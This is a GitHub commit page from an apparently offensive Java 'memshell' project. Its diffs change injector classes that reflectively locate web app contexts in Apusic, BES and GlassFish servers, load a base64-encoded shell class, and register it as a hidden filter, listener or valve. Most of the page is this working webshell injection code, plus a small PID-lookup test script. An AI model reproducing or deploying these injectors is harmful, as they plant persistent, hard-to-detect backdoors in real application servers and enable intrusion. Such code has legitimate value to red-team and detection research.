Skip to content

Commit 5ab2102

Browse files
committed
feat: support webAppClassLoader
1 parent f3415da commit 5ab2102

37 files changed

+543
-333
lines changed

integration-test/script/bes_pid.sh

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
#!/bin/bash
2+
pgrep -f 'ASMain|GlassFishMain' | tr -d '\n'

integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -31,6 +31,7 @@ public class ContainerTool {
3131
public static final MountableFile resinPid = MountableFile.forHostPath(Path.of("script", "resin_pid.sh"));
3232
public static final MountableFile jbossPid = MountableFile.forHostPath(Path.of("script", "jboss_pid.sh"));
3333
public static final MountableFile glassfishPid = MountableFile.forHostPath(Path.of("script", "glassfish_pid.sh"));
34+
public static final MountableFile besPid = MountableFile.forHostPath(Path.of("script", "bes_pid.sh"));
3435
public static final MountableFile jettyPid = MountableFile.forHostPath(Path.of("script", "jetty_pid.sh"));
3536
public static final MountableFile webspherePid = MountableFile.forHostPath(Path.of("script", "websphere_pid.sh"));
3637
public static final MountableFile weblogicPid = MountableFile.forHostPath(Path.of("script", "weblogic_pid.sh"));

memshell/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java

Lines changed: 13 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -45,6 +45,10 @@ public String getBase64String() throws IOException {
4545
return "{{base64Str}}";
4646
}
4747

48+
/**
49+
* com.apusic.web.container.WebContainer
50+
* /usr/local/ass/lib/apusic.jar
51+
*/
4852
public List<Object> getContext() throws Exception {
4953
List<Object> contexts = new ArrayList<Object>();
5054
Set<Thread> threads = Thread.getAllStackTraces().keySet();
@@ -56,12 +60,17 @@ public List<Object> getContext() throws Exception {
5660
return contexts;
5761
}
5862

63+
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
64+
try {
65+
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
66+
} catch (Exception e) {
67+
return ((ClassLoader) getFieldValue(context, "loader"));
68+
}
69+
}
70+
5971
@SuppressWarnings("all")
6072
private Object getShell(Object context) throws Exception {
61-
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
62-
if (classLoader == null) {
63-
classLoader = context.getClass().getClassLoader();
64-
}
73+
ClassLoader classLoader = getWebAppClassLoader(context);
6574
try {
6675
return classLoader.loadClass(getClassName()).newInstance();
6776
} catch (Exception e) {

memshell/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicListenerInjector.java

Lines changed: 9 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -54,9 +54,17 @@ public List<Object> getContext() throws Exception {
5454
return contexts;
5555
}
5656

57+
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
58+
try {
59+
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
60+
} catch (Exception e) {
61+
return ((ClassLoader) getFieldValue(context, "loader"));
62+
}
63+
}
64+
5765
@SuppressWarnings("all")
5866
private Object getShell(Object context) throws Exception {
59-
ClassLoader classLoader = context.getClass().getClassLoader();
67+
ClassLoader classLoader = getWebAppClassLoader(context);
6068
try {
6169
return classLoader.loadClass(getClassName()).newInstance();
6270
} catch (Exception e) {

memshell/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicServletInjector.java

Lines changed: 9 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -55,9 +55,17 @@ public List<Object> getContext() throws Exception {
5555
return contexts;
5656
}
5757

58+
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
59+
try {
60+
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
61+
} catch (Exception e) {
62+
return ((ClassLoader) getFieldValue(context, "loader"));
63+
}
64+
}
65+
5866
@SuppressWarnings("all")
5967
private Object getShell(Object context) throws Exception {
60-
ClassLoader classLoader = context.getClass().getClassLoader();
68+
ClassLoader classLoader = getWebAppClassLoader(context);
6169
try {
6270
return classLoader.loadClass(getClassName()).newInstance();
6371
} catch (Exception e) {

memshell/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java

Lines changed: 19 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -45,6 +45,10 @@ public String getBase64String() throws IOException {
4545
return "{{base64Str}}";
4646
}
4747

48+
/**
49+
* com.bes.enterprise.webtier.core.DefaultContext
50+
* /opt/bes/lib/bes-engine.jar
51+
*/
4852
public List<Object> getContext() throws Exception {
4953
List<Object> contexts = new ArrayList<Object>();
5054
Set<Thread> threads = Thread.getAllStackTraces().keySet();
@@ -54,21 +58,25 @@ public List<Object> getContext() throws Exception {
5458
Collection<?> values = childrenMap.values();
5559
for (Object value : values) {
5660
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
57-
for (Object context : children.values()) {
58-
contexts.add(context);
59-
}
61+
contexts.addAll(children.values());
6062
}
6163
}
6264
}
6365
return contexts;
6466
}
6567

68+
private ClassLoader getWebAppClassLoader(Object context) {
69+
try {
70+
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
71+
} catch (Exception e) {
72+
Object loader = invokeMethod(context, "getLoader", null, null);
73+
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
74+
}
75+
}
76+
6677
@SuppressWarnings("all")
6778
private Object getShell(Object context) throws Exception {
68-
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
69-
if (classLoader == null) {
70-
classLoader = context.getClass().getClassLoader();
71-
}
79+
ClassLoader classLoader = getWebAppClassLoader(context);
7280
try {
7381
return classLoader.loadClass(getClassName()).newInstance();
7482
} catch (Exception e) {
@@ -87,8 +95,9 @@ public void inject(Object context, Object filter) throws Exception {
8795
log.warning("filter already exists");
8896
return;
8997
}
90-
Object filterDef = context.getClass().getClassLoader().loadClass("com.bes.enterprise.web.util.descriptor.web.FilterDef").newInstance();
91-
Object filterMap = context.getClass().getClassLoader().loadClass("com.bes.enterprise.web.util.descriptor.web.FilterMap").newInstance();
98+
ClassLoader contextClassLoader = context.getClass().getClassLoader();
99+
Object filterDef = contextClassLoader.loadClass("com.bes.enterprise.web.util.descriptor.web.FilterDef").newInstance();
100+
Object filterMap = contextClassLoader.loadClass("com.bes.enterprise.web.util.descriptor.web.FilterMap").newInstance();
92101
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
93102
invokeMethod(filterDef, "setFilter", new Class[]{Filter.class}, new Object[]{filter});
94103
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
@@ -100,7 +109,7 @@ public void inject(Object context, Object filter) throws Exception {
100109
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
101110
}
102111

103-
Constructor<?>[] constructors = context.getClass().getClassLoader().loadClass("com.bes.enterprise.webtier.core.ApplicationFilterConfig").getDeclaredConstructors();
112+
Constructor<?>[] constructors = contextClassLoader.loadClass("com.bes.enterprise.webtier.core.ApplicationFilterConfig").getDeclaredConstructors();
104113
constructors[0].setAccessible(true);
105114
Object filterConfig = constructors[0].newInstance(context, filterDef);
106115
HashMap<String, Object> filterConfigs = (HashMap<String, Object>) getFieldValue(context, "filterConfigs");

memshell/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java

Lines changed: 12 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -50,21 +50,25 @@ public List<Object> getContext() throws Exception {
5050
Collection<?> values = childrenMap.values();
5151
for (Object value : values) {
5252
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
53-
for (Object context : children.values()) {
54-
contexts.add(context);
55-
}
53+
contexts.addAll(children.values());
5654
}
5755
}
5856
}
5957
return contexts;
6058
}
6159

60+
private ClassLoader getWebAppClassLoader(Object context) {
61+
try {
62+
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
63+
} catch (Exception e) {
64+
Object loader = invokeMethod(context, "getLoader", null, null);
65+
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
66+
}
67+
}
68+
6269
@SuppressWarnings("all")
6370
private Object getShell(Object context) throws Exception {
64-
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
65-
if (classLoader == null) {
66-
classLoader = context.getClass().getClassLoader();
67-
}
71+
ClassLoader classLoader = getWebAppClassLoader(context);
6872
try {
6973
return classLoader.loadClass(getClassName()).newInstance();
7074
} catch (Exception e) {
@@ -143,7 +147,7 @@ public static Object getFieldValue(Object obj, String name) throws NoSuchFieldEx
143147
}
144148

145149
@SuppressWarnings("all")
146-
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException {
150+
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
147151
try {
148152
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
149153
Method method = null;
@@ -163,8 +167,6 @@ public static Object invokeMethod(Object obj, String methodName, Class<?>[] para
163167
}
164168
method.setAccessible(true);
165169
return method.invoke(obj instanceof Class ? null : obj, param);
166-
} catch (NoSuchMethodException e) {
167-
throw e;
168170
} catch (Exception e) {
169171
throw new RuntimeException("Error invoking method: " + methodName, e);
170172
}

memshell/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java

Lines changed: 12 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -46,21 +46,25 @@ public List<Object> getContext() throws Exception {
4646
Collection<?> values = childrenMap.values();
4747
for (Object value : values) {
4848
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
49-
for (Object context : children.values()) {
50-
contexts.add(context);
51-
}
49+
contexts.addAll(children.values());
5250
}
5351
}
5452
}
5553
return contexts;
5654
}
5755

56+
private ClassLoader getWebAppClassLoader(Object context) {
57+
try {
58+
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
59+
} catch (Exception e) {
60+
Object loader = invokeMethod(context, "getLoader", null, null);
61+
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
62+
}
63+
}
64+
5865
@SuppressWarnings("all")
5966
private Object getShell(Object context) throws Exception {
60-
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
61-
if (classLoader == null) {
62-
classLoader = context.getClass().getClassLoader();
63-
}
67+
ClassLoader classLoader = getWebAppClassLoader(context);
6468
try {
6569
return classLoader.loadClass(getClassName()).newInstance();
6670
} catch (Exception e) {
@@ -145,7 +149,7 @@ public static Object getFieldValue(Object obj, String name) throws NoSuchFieldEx
145149
}
146150

147151
@SuppressWarnings("all")
148-
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException {
152+
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
149153
try {
150154
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
151155
Method method = null;
@@ -165,8 +169,6 @@ public static Object invokeMethod(Object obj, String methodName, Class<?>[] para
165169
}
166170
method.setAccessible(true);
167171
return method.invoke(obj instanceof Class ? null : obj, param);
168-
} catch (NoSuchMethodException e) {
169-
throw e;
170172
} catch (Exception e) {
171173
throw new RuntimeException("Error invoking method: " + methodName, e);
172174
}

memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java

Lines changed: 23 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -44,6 +44,10 @@ public String getBase64String() throws IOException {
4444
return "{{base64Str}}";
4545
}
4646

47+
/**
48+
* com.sun.enterprise.web.WebModule
49+
* /usr/local/glassfish/modules/web-glue.jar
50+
*/
4751
public List<Object> getContext() throws Exception {
4852
List<Object> contexts = new ArrayList<Object>();
4953
Set<Thread> threads = Thread.getAllStackTraces().keySet();
@@ -60,12 +64,18 @@ public List<Object> getContext() throws Exception {
6064
return contexts;
6165
}
6266

67+
private ClassLoader getWebAppClassLoader(Object context) {
68+
try {
69+
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
70+
} catch (Exception e) {
71+
Object loader = invokeMethod(context, "getLoader", null, null);
72+
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
73+
}
74+
}
75+
6376
@SuppressWarnings("all")
6477
private Object getShell(Object context) throws Exception {
65-
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
66-
if (classLoader == null) {
67-
classLoader = context.getClass().getClassLoader();
68-
}
78+
ClassLoader classLoader = getWebAppClassLoader(context);
6979
try {
7080
return classLoader.loadClass(getClassName()).newInstance();
7181
} catch (Exception e) {
@@ -84,8 +94,9 @@ public void inject(Object context, Object filter) throws Exception {
8494
log.warning("filter already exists");
8595
return;
8696
}
87-
Object filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance();
88-
Object filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance();
97+
ClassLoader contextClassLoader = context.getClass().getClassLoader();
98+
Object filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
99+
Object filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance();
89100
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
90101
invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()});
91102
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
@@ -97,15 +108,12 @@ public void inject(Object context, Object filter) throws Exception {
97108
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass(), boolean.class}, new Object[]{filterMap, false});
98109
}
99110

100-
try {
101-
Constructor<?>[] constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
102-
constructors[0].setAccessible(true);
103-
Object filterConfig = constructors[0].newInstance(context, filterDef);
104-
HashMap<String, Object> filterConfigs = (HashMap<String, Object>) getFieldValue(context, "filterConfigs");
105-
filterConfigs.put(filterName, filterConfig);
106-
log.info("filter added successfully");
107-
} catch (Exception ignored) {
108-
}
111+
Constructor<?>[] constructors = contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
112+
constructors[0].setAccessible(true);
113+
Object filterConfig = constructors[0].newInstance(context, filterDef);
114+
HashMap<String, Object> filterConfigs = (HashMap<String, Object>) getFieldValue(context, "filterConfigs");
115+
filterConfigs.put(filterName, filterConfig);
116+
log.info("filter added successfully");
109117
}
110118

111119
@SuppressWarnings("all")

memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishListenerInjector.java

Lines changed: 12 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -57,12 +57,18 @@ public List<Object> getContext() throws Exception {
5757
return contexts;
5858
}
5959

60+
private ClassLoader getWebAppClassLoader(Object context) {
61+
try {
62+
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
63+
} catch (Exception e) {
64+
Object loader = invokeMethod(context, "getLoader", null, null);
65+
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
66+
}
67+
}
68+
6069
@SuppressWarnings("all")
6170
private Object getShell(Object context) throws Exception {
62-
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
63-
if (classLoader == null) {
64-
classLoader = context.getClass().getClassLoader();
65-
}
71+
ClassLoader classLoader = getWebAppClassLoader(context);
6672
try {
6773
return classLoader.loadClass(getClassName()).newInstance();
6874
} catch (Exception e) {
@@ -78,7 +84,7 @@ private Object getShell(Object context) throws Exception {
7884
public void inject(Object context, Object listener) throws Exception {
7985
List<EventListener> eventListeners = (List<EventListener>) invokeMethod(context, "getApplicationEventListeners", null, null);
8086
for (EventListener eventListener : eventListeners) {
81-
if (eventListener.getClass().getName().equals(listener.getClass().getName())) {
87+
if (eventListener.getClass().getName().equals(getClassName())) {
8288
log.warning("listener already exists");
8389
return;
8490
}
@@ -142,7 +148,7 @@ public static Object getFieldValue(Object obj, String name) throws NoSuchFieldEx
142148
}
143149

144150
@SuppressWarnings("all")
145-
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException {
151+
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
146152
try {
147153
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
148154
Method method = null;
@@ -162,8 +168,6 @@ public static Object invokeMethod(Object obj, String methodName, Class<?>[] para
162168
}
163169
method.setAccessible(true);
164170
return method.invoke(obj instanceof Class ? null : obj, param);
165-
} catch (NoSuchMethodException e) {
166-
throw e;
167171
} catch (Exception e) {
168172
throw new RuntimeException("Error invoking method: " + methodName, e);
169173
}

0 commit comments

Comments
 (0)